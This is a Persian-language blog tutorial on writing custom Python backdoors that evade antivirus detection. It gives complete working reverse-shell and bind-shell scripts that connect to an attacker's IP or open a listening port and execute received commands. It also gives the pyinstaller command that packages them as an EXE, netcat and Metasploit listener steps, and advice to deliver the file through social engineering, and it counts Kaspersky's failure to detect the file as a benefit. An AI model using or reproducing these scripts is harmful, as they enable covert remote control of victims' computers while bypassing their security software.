ساخت backdoor های custom برای دور زدن آنتی ویروس

تاریخ انتشار : 1399/09/24 | نویسنده : kernel-panic

ساخت backdoor های custom برای دور زدن آنتی ویروس

در این سناریو قصد داریم که payload مورد نیاز برای یک ارتباط Reverse Shell و Bind Shell را به صورت Custom شده، بسازیم و به عنوان Backdoor بر روی سیستم قربانی، اجرا کنیم. البته قبل آن پیشنهاد می کنیم با باج افزار ها به طور کامل آشنا شوید.

همانطور که می دانید، Payload های مختلفی در ابزار قدرتمند Metasploit برای Reverse Shell و Bind Shell وجود دارد، اما واقعیت امر این است که Payload های موجود در ابزار Metasploit، توسط اکثر Antivirus ها شناسایی و پاک می شوند. هرچند که تیم ابزار Metasploit در نسخه های مختلف، از Encoder ها و تکنیک های جدید برای دور زدن Antivirus ها استفاده می کنند، ولی به دلیل شهرت این ابزار، Antivirus ها Signature این Payload ها را در پایگاه داده خود به روز رسانی می کنند و در کمترین زمان آن ها را شناسایی و پاک می کنند. به همین منظور مهاجمین برای کاهش احتمال شناسایی، از Payload های Custom شده استفاده می کنند.

  • Reverse Shell

در ادامه خواهیم دید که چگونه مهاجم می تواند یک Script به زبان Python بنویسد به این صورت که Script مذکور زمانی که بر روی سیستم قربانی اجرا می شود، از سیستم قربانی به سیستم مهاجم ارتباط برقرار کند، دستورات مهاجم را قبول کند، دستورات را بر روی سیستم قربانی اجرا نماید و در نهایت پاسخ آن را به سیستم مهاجم ارسال کند.

Script مذکور به صورت زیر می باشد:

#!/usr/bin/python

import socket, subprocess;

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0);

sock.connect(("<Attacker’s IP Address>", <Attacker’s Port Number>));

data = sock.recv(512);

while data:

            try:

                       output = subprocess.check_output(data, shell=True);

                       sock.send(output);

            except:

                       pass;

            data = sock.recv(512);

 

sock.close()

  • Attacker’s IP Address: آدرس IP سیستم مهاجم می بایست جایگذاری شود.
  • Attacker’s Port Number: شماره Port ای که مهاجم برای ارتباط، در نظر گرفته است می بایست جایگذاری شود.
  • script فوق می بایست با Python نسخه ی 2.7 اجرا شود.

مهاجم می تواند Script مذکور را به یک فایل EXE تبدیل کند. سپس فایل EXE را از طریق روش های مختلفی همچون مهندسی اجتماعی به سیستم قربانی منتقل کند و قربانی فایل مذکور را بر روی سیستم خود، اجرا کند. برای ساخت فایلEXE، مهاجم می تواند از ابزار pyinstaller مطابق دستور زیر استفاده کند.

pyinstaller.py -F <Script.py>

F- بیانگر ساخت یک فایل واحد می باشد.

همانطور که در تصویر زیر قابل مشاهده می باشد، توسط ابزار pyinstaller فایل python به فایل EXE تبدیل شده است.

 

 

قبل از اجرای فایل Reverse Shell، مهاجم می بایست بر روی سیستم خود Port مورد نظر را به منظور ایجاد ارتباط سیستم قربانی با سیستم خود، به حالت Listen تبدیل کند. به همین منظور مهاجم می تواند از ابزار Netcat  و یا Metasploit استفاده کند که در ادامه این مقاله، به بررسی هر دو ابزار پرداخته شده است.

مهاجم می تواند ابزار Netcat را، با  دستور زیر، اجرا کند.

nc -l -v -p <Port Number>

  • l- بیانگر Listen mode می باشد.
  • v- بیانگر Verbose به منظور نمایش اطلاعات بیشتر می باشد.
  • p- بیانگر Port می باشد که مقابل آن، مهاجم Port مورد نظر را که در Script آورده است، وارد می کند.

با اجرا شدن File مربوطه بر روی سیستم قربانی، دسترسی و ارتباط سیستم مهاجم با سیستم قربانی برقرار می شود و مهاجم قادر به اجرای دستورات مختلف بر روی سیستم قربانی می باشد. به طور مثال، در تصویر زیر مهاجم در ارتباط به دست آمده توسط ابزار Netcat، دستور whoami را بر روی سیستم قربانی از راه دور، اجرا کرده است و پاسخ آن را بر روی سیستم خود، دریافت نموده است.

 

 

همچنین مهاجم می تواند از ابزار Metasploit برای ارتباط با سیستم قربانی استفاده کند. همانطور که در تصویر زیر قابل مشاهده می باشد، از ماژول handler در ابزار Metasploit و payload مربوطه (windows/shell/reverse_tcp) استفاده شده است و مهاجم دستور whoami را بر روی سیستم قربانی از راه دور، اجرا کرده است و پاسخ آن را بر روی سیستم خود، در ابزار Metasploit دریافت نموده است.

 

 

  • یکی از نکات مثبت این سناریو، عدم شناسایی Script مذکور توسط Antivirus ها می باشد.

در تصویر زیر فایل EXE مذکور توسط Kaspersky Antivirus بررسی شده است و آن را تهدیدی برای سیستم قربانی، در نظر نگرفته است.

 

 

  • Bind Shell

در ادامه خواهیم دید که چگونه مهاجم می تواند یک Script به زبان Python بنویسد به این صورت که Script مذکور زمانی که بر روی سیستم قربانی اجرا شود، به درخواستی که از سیستم مهاجم به سیستم قربانی ارسال می شود، پاسخ دهد. سپس بعد از برقراری ارتباط، دستورات مهاجم را قبول کند، دستورات را بر روی سیستم قربانی اجرا نماید و در نهایت پاسخ آن را به سیستم مهاجم ارسال کند.

  • مذکور برای برقراری ارتباط، یک Port بر روی سیستم قربانی مشخص می کند سپس از هر آدرس IP ای که درخواست به Port مذکور، ارسال شود، پاسخ می دهد.
  • بعد از اجرا شدن Script مربوطه، مطابق تصویر زیر از قربانی اجازه ی باز نمودن Port مذکور را بر روی سیستم قربانی می گیرد تا ارتباط Inbound برای سایرین میسر شود.

 

 

Script مذکور به صورت زیر می باشد:

#!/usr/bin/python

import socket, subprocess;

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0);

sock.bind(("0.0.0.0", <Victim’s Port Number>));

sock.listen(1)

client_sock, client_addr = sock.accept();

data = client_sock.recv(512);

while data:

            try:

                       output = subprocess.check_output(data, shell = True);

                       client_sock.send(output)

            except:

                       pass;

            data = client_sock.recv(512);

client_sock.close();

 

sock.close()

  • Victim’s Port Number: شماره ی Port ای که بر روی سیستم قربانی قرار است باز شود.
  • script فوق می بایست با Python نسخه ی 2.7 اجرا شود.

همان طور که پیش تر اشاره شد، مهاجم می تواند در این مرحله، فایل python نوشته شده را با استفاده از ابزار pyinstaller به فرمت exe تبدیل نماید و از طریق روش های مختلف مهندسی اجتماعی، فایل ساخته شده را در اختیار قربانی قرار دهد.

با اجرا شدن File مربوطه بر روی سیستم قربانی، امکان برقراری ارتباط با سیستم مهاجم فراهم می شود. به این صورت که مهاجم بر روی سیستم خود، با کمک ابزار Netcat، با شماره ی Port مرتبط با سیستم قربانی، ارتباط برقرار می کند و سپس مهاجم قادر به اجرای دستورات مختلف بر روی سیستم قربانی می باشد. به طور مثال، در تصویر زیر مهاجم در ارتباط به دست آمده، دستور whoami را بر روی سیستم قربانی از راه دور، اجرا کرده است و پاسخ آن را بر روی سیستم خود، دریافت نموده است.